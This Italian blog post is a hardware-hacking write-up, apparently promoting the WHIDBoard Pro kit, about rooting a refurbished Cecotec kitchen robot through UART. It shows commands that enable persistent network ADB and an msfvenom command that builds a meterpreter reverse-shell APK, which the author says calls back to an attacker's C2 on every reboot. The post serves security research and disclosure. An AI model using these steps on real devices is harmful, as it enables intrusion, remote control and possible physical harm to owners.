Salta il contenuto

Scroll Indicator

Hacker's Cookbook: Sfruttare gli elettrodomestici IoT con WHIDBOARD

Nota dell'editore: per celebrare il lancio del WHIDBoard Pro Set, abbiamo un post esclusivo scritto da una leggenda dell'hacking hardware... Luca Bongiorni. Luca mostra il WHIDBoard Pro mentre taglia, affetta e cucina un dispositivo IoT Kitchen.
Se siete interessati all'hacking hardware, date un'occhiata al WHIDBoard Pro Set e scoprite come diventare un hacker hardware certificato.

AFFAMATO DI HACKERAGGIO HARDWARE

Recentemente ho completato la ricerca e lo sviluppo di un nuovo dispositivo chiamato WHIDBOARD e, per testarlo, ho deciso di esaminare un elettrodomestico IoT acquistato ricondizionato su Amazon. Il risultato è stato inaspettatamente esilarante!

Dimostrazione di WHIDBOARD

L'obiettivo

Il DUT (Dispositivo Under Test) di questo post sul blog è un elettrodomestico da cucina intelligente chiamato Mambo Touch della società spagnola Cecotec.

Questo dispositivo di cottura all-in-one è un robot da cucina multifunzionale con 37 funzioni, dotato di un touch screen da 5 pollici e controllabile a distanza tramite la sua app mobile (come si può vedere dalle immagini qui sotto), che si collega tramite una rete WiFi.

Dato che quello ricondizionato era più economico... e che comunque non lo userò mai per cucinare... l'ho acquistato immediatamente!

Mambo Touch product listing
Scheda prodotto Mambo Touch
Mambo Touch device
Dispositivo Mambo Touch

Ricondizionato ≠ Ripristino delle impostazioni di fabbrica

Di solito Amazon consente ai clienti di restituire alcuni articoli che non gradiscono o che non soddisfano le loro aspettative...

Amazon refurbished policy
Politica di Amazon sui prodotti ricondizionati

Tuttavia, sorge una domanda legittima... dove finiscono questi articoli? Come vengono ricondizionati? E il ripristino delle impostazioni di fabbrica PRIMA della rivendita?

Dopo averlo acceso, mi sono connesso alla mia rete WiFi e ho provato ad accoppiarlo con l'app mobile... ma è accaduta una cosa curiosa. Il dispositivo in esame era già accoppiato con un altro proprietario (probabilmente il precedente)...

Mi chiedo cosa direbbe un DPO al riguardo...

Device already paired to previous owner
Dispositivo già accoppiato al precedente proprietario

Smontaggio del DUT

Da un'ispezione iniziale dell'esterno, è possibile notare un primo indizio... una porta micro USB nascosta.

Hidden USB micro port
Porta micro USB nascosta
USB port close-up
Primo piano della porta USB

Tuttavia, una volta collegato al computer, non accade nulla di particolarmente interessante... Il passo successivo è stato quello di aprire il dispositivo... e tra tutti gli altri componenti (touch screen, interruttori, sensori, motori, alimentatore, ecc...) sono stato accolto dalla scheda madre.

Device mainboard view 1
Vista della scheda madre del dispositivo 1
Device mainboard view 2
Vista della scheda madre del dispositivo 2

Qui possiamo facilmente individuare i componenti principali:

  • SoC Amlogic A213Y
  • KLM8G1GETF-B041 è una memoria flash eMMC da 8 GB con un ingombro FBGA-153
  • RS256M16V0DB-107AT DDR SDRAM con impronta FBGA-96

Inoltre, sono presenti alcuni punti di accesso interessanti per le interfacce di debug...

Debug interface entry points
Punti di accesso all'interfaccia di debug

Tuttavia, il punto di accesso più interessante era dall'altra parte... alcuni pad di test etichettati con la consueta piedinatura dell'interfaccia di debug UART... (ovvero GND, RX, TX).

UART test pads diagram
Schema dei pad di test UART
UART test pads on PCB
Pads di test UART su PCB

Il passo successivo era semplice... saldare un paio di fili su quei pad, prendere la mia WHIDBOARD e verificare con Logic Analyzer e Pin Enumerator se si trattava davvero di un'interfaccia di debug UART...

WHIDBOARD connected to test pads
WHIDBOARD collegato ai pad di test

Per prima cosa, ho collegato tutti i fili al blocco terminale del Logic Analyzer della WHIDBOARD per intercettare alcuni dati... ed ecco cosa ho ottenuto su Pulseview:

Pulseview Logic Analyzer output
Output del Logic Analyzer Pulseview

Ottenere il root tramite UART

Ottimo! Abbiamo facilmente confermato che i 3 pad di prova sul retro del PCB sono effettivamente una console UART funzionante. Possiamo vedere il DUT che emette la sequenza di avvio dal Logic Analyzer. Successivamente, proviamo a collegarci direttamente con WHIDBOARD e il Pin Enumerator.

WHIDBOARD Pin Enumerator connection
Connessione del Pin Enumerator WHIDBOARD

La funzione Pin Enumerator di WHIDBOARD si basa sul JTAGulator (purtroppo fuori produzione) realizzato da Joe Grand. Consente di individuare i pin delle interfacce di debug come UART, JTAG e SWD. Tuttavia, nel mio caso ho utilizzato principalmente la sua funzione Passthrough per comunicare con il target collegato al suo blocco terminale (e ovviamente confermare la corretta combinazione di pin UART).

Pin Enumerator interface
Interfaccia Pin Enumerator

Una volta confermato con il Pin Enumerator che mi trovavo effettivamente di fronte a una porta di debug UART, ho utilizzato la funzione Passthrough e sono stato accolto da una console terminale con accesso root.

Root access via UART
Accesso root tramite UART

Qual è il prossimo passo?

A questo punto è evidente che il dispositivo può essere facilmente compromesso. Tuttavia, desideravo continuare a sperimentare e verificare il funzionamento della connessione remota...

Innanzitutto, ho abilitato la connessione remota ADB tramite WiFi con i seguenti comandi:

setprop persist.service.adb.enable 1
setprop service.adb.tcp.port 5555
start adbd
ADB commands execution
Esecuzione dei comandi ADB

E ho verificato che tutto funzionasse correttamente:

ADB connection confirmed
Connessione ADB confermata

Ora disponiamo già di una connessione remota (cioè sulla stessa LAN) persistente con il DUT. Poiché il demone del server ADB persisterà anche dopo l'avvio.

Successivamente, è stato necessario effettuare alcune ricognizioni e verificare la presenza di informazioni interessanti... Inizialmente, ho enumerato le app installate per verificare due aspetti: quale versione di Android è in esecuzione e quali sono le app principali del fornitore (ad esempio, Cecotec).

Le due app più interessanti sono:

  • package:/data/app/com.zavier.androidrk3326functiontest-1.apk=com.zavier.androidrk3326functiontest
  • package:/data/app/com.kitchenidea.cecotec.k2501-2.apk=com.kitchenidea.cecotec.k2501
Installed apps list
Elenco delle app installate

Tuttavia, prima di continuare a controllare, ho rapidamente eseguito la consueta app Impostazioni Android (con questo comando am start -n com.android.settings/.Settings) per verificare ulteriori informazioni sulla versione del sistema operativo... e, come previsto, il DUT utilizzava una versione precedente di Android: 4.4.2.

Android 4.4.2 settings screen
Schermata delle impostazioni di Android 4.4.2

Va bene... continuiamo ad approfondire... È il momento di ricognire la rete! Osservando l'output di netstat, posso notare alcune connessioni con indirizzi IP Internet:

Netstat output
Output di Netstat

Niente di particolarmente interessante, ma una ha attirato la mia attenzione... ovviamente, trattandosi di un backend che non mi appartiene... l'ho considerata fuori dal mio ambito di competenza e sono andato avanti...

Network connections
Connessioni della rete

Successivamente, ho iniziato a cercare i consueti strumenti degli hacker che possono essere utilizzati per esfiltrare o eseguire il reverse shell degli obiettivi IoT... uno per tutti... Sua Maestà BUSYBOX.

E in realtà questo aveva tutto ciò che serviva:

BusyBox available commands
Comandi disponibili di BusyBox

Solo con questo, potevo estrarre, caricare, manipolare dati e anche ottenere una reverse shell con netcat. Ma andiamo avanti! Dato che abbiamo già una shell ADB persistente... questa volta non c'è bisogno di BusyBox. :P

Nel complesso, con ADB Explorer ho estratto tutti i file interessanti che ho trovato in giro. Tuttavia, nulla di particolarmente interessante... Questo dispositivo non ha né microfono né fotocamera... non possiamo nemmeno spiare le persone da remoto... meh... :(

ADB Explorer file list
Elenco dei file di ADB Explorer

Analisi delle APK

A questo punto ho spostato la mia attenzione sugli APK del fornitore:

  • package:/data/app/com.zavier.androidrk3326functiontest-1.apk=com.zavier.androidrk3326functiontest
  • package:/data/app/com.kitchenidea.cecotec.k2501-2.apk=com.kitchenidea.cecotec.k2501

Il com.zavier.androidrk3326functiontest-1.apk sembra una suite di test funzionali per verificare che tutti i sensori e i driver del motore funzionino correttamente. Si consideri che questo elettrodomestico IoT per la cucina dispone di una bilancia integrata, un riscaldatore, un motore per mescolare il cibo e vari sensori. E apparentemente sono tutti controllati da queste due app (anche in remoto dall'utente con il proprio telefono cellulare...).

Per quanto riguarda com.kitchenidea.cecotec.k2501-2.apk , ho notato immediatamente che si tratta di una copia dell'altra update.apk presente in /sdcard/, quindi non è necessario controllare entrambi:

APK comparison
Confronto APK

Esaminando il secondo APK non ho riscontrato particolari anomalie, tuttavia ho verificato che l'app ha pieno accesso a tutti i sensori, al riscaldamento, al motore, ecc... in teoria potremmo creare un malware in grado di interferire con la vittima da remoto inviando comandi arbitrari sulle porte seriali... :P

APK permissions and capabilities
Autorizzazioni e funzionalità dell'APK

Ho anche ricontrollato se ci fossero altri URL/IP interessanti hardcoded in quelle due app... ma sembra che siano i soliti rifiuti medi:

Hardcoded URLs in APK 1
URL hardcoded nell'APK 1
Hardcoded URLs in APK 2
URL hardcoded nell'APK 2

Dato che ero in ritardo e infastidito, ho eseguito MobSF per ottenere una rapida panoramica del livello di rischio di queste due app...

TL;DR: Niente di grave. Un'app mediocre per un prodotto mediocre. 8)

MobSF analysis results 1
Risultati dell'analisi MobSF 1
MobSF analysis results 2
Risultati dell'analisi MobSF 2

Nel complesso, è evidente che esiste la possibilità di trasformare questo dispositivo in un'arma con un APK personalizzato che può essere controllato da remoto da un aggressore e manipolare le funzionalità interne al fine di causare danni fisici (ad esempio, bypassare le misure di sicurezza, surriscaldare la pentola, ecc...).

Scherzi e reverse shell

Come ultimo esercizio, prima di concludere e restituire questo dispositivo ad Amazon, desideravo verificare se una reverse shell meterpreter avrebbe funzionato e se attraverso di essa avrei potuto eseguire DOOM o alcuni scherzi a mia moglie. Beh...

Per prima cosa prepariamo un APK meterpreter da inviare con ADB:

msfvenom -p android/meterpreter/reverse_tcp LHOST= LPORT=31337 -f raw -o revshell.apk
Msfvenom command output
Output del comando Msfvenom

Successivamente, inviamolo tramite ADB e installiamolo:

ADB push and install
ADB push e installazione

Ora procediamo con l'esecuzione:

Running the reverse shell APK
Esecuzione dell'APK reverse shell

Nel frattempo, sulla macchina virtuale WHIDOS era già stato configurato il listener MSF:

MSF listener setup
Configurazione del listener MSF

Ora, ogni volta che il dispositivo viene riavviato, eseguirà automaticamente la shell inversa e richiamerà il C2 dell'autore dell'attacco:

Reverse shell callback
Richiamata della shell inversa

A questo punto, l'installazione e l'esecuzione di DOOM sono state una questione di secondi...

DOOM running on device
DOOM in esecuzione sul dispositivo
DOOM gameplay screenshot
Screenshot del gameplay di DOOM

Conclusione

Il mercato dell'IoT è comunemente noto per essere pieno di dispositivi vulnerabili. Sfortunatamente per il consumatore medio, la maggior parte delle aziende non prende abbastanza sul serio la sicurezza dei prodotti. Nella maggior parte dei casi, un dispositivo IoT compromesso potrebbe non avere un grande impatto sulla vita dei consumatori, ma in alcuni casi potrebbe causare danni fisici. Come in questo caso, in cui il riscaldamento e il motore sono controllati dall'app in remoto e un potenziale aggressore potrebbe controllarli a sua volta.

Inoltre, è evidente che l'acquisto di dispositivi IoT ricondizionati... a volte... potrebbe NON essere una scelta saggia.

E se avessi lasciato qualche payload dannoso prima di restituire il dispositivo ad Amazon? (Disclaimer: no, non l'ho fatto).

Amazon refurbished return policy
Politica di restituzione dei prodotti ricondizionati di Amazon

Desiderate iniziare con l'hacking hardware?

Lo strumento utilizzato da Luca per questa verifica hardware è WHIDBoard Pro. WHIDBoard è uno strumento all-in-one per l'hardware hacking, frutto di decine di prototipi e iterazioni nel corso degli anni. È progettato per fornire tutti gli strumenti, hardware e software, in un kit ben documentato, affidabile, professionale e pronto all'uso.

Reverse shell callback
Il set WHIDBoard Pro. Tutto ciò che serve per l'hardware hacking.

Desiderate allenarvi con Luca?

Il set WHIDBoard Pro è prodotto da Lab401, garantendo qualità e assistenza. Per ulteriori informazioni, si prega di consultare la pagina dedicata al prodotto.

Il corso di formazione sull'hacking hardware offensivo è un corso autodidattico che include video, un manuale cartaceo e un fantastico kit di hardware hacking. Inoltre, riceverai tutto a casa tua in qualsiasi parte del mondo! Per ulteriori informazioni: https://www.whid.ninja

WHID training kit
Kit di formazione WHID
Articolo successivo Seduzione del sensore I2C: DigiLab + Flipper

Lascia un commento

I commenti devono essere approvati prima di pubblicazione

* Campi obbligatori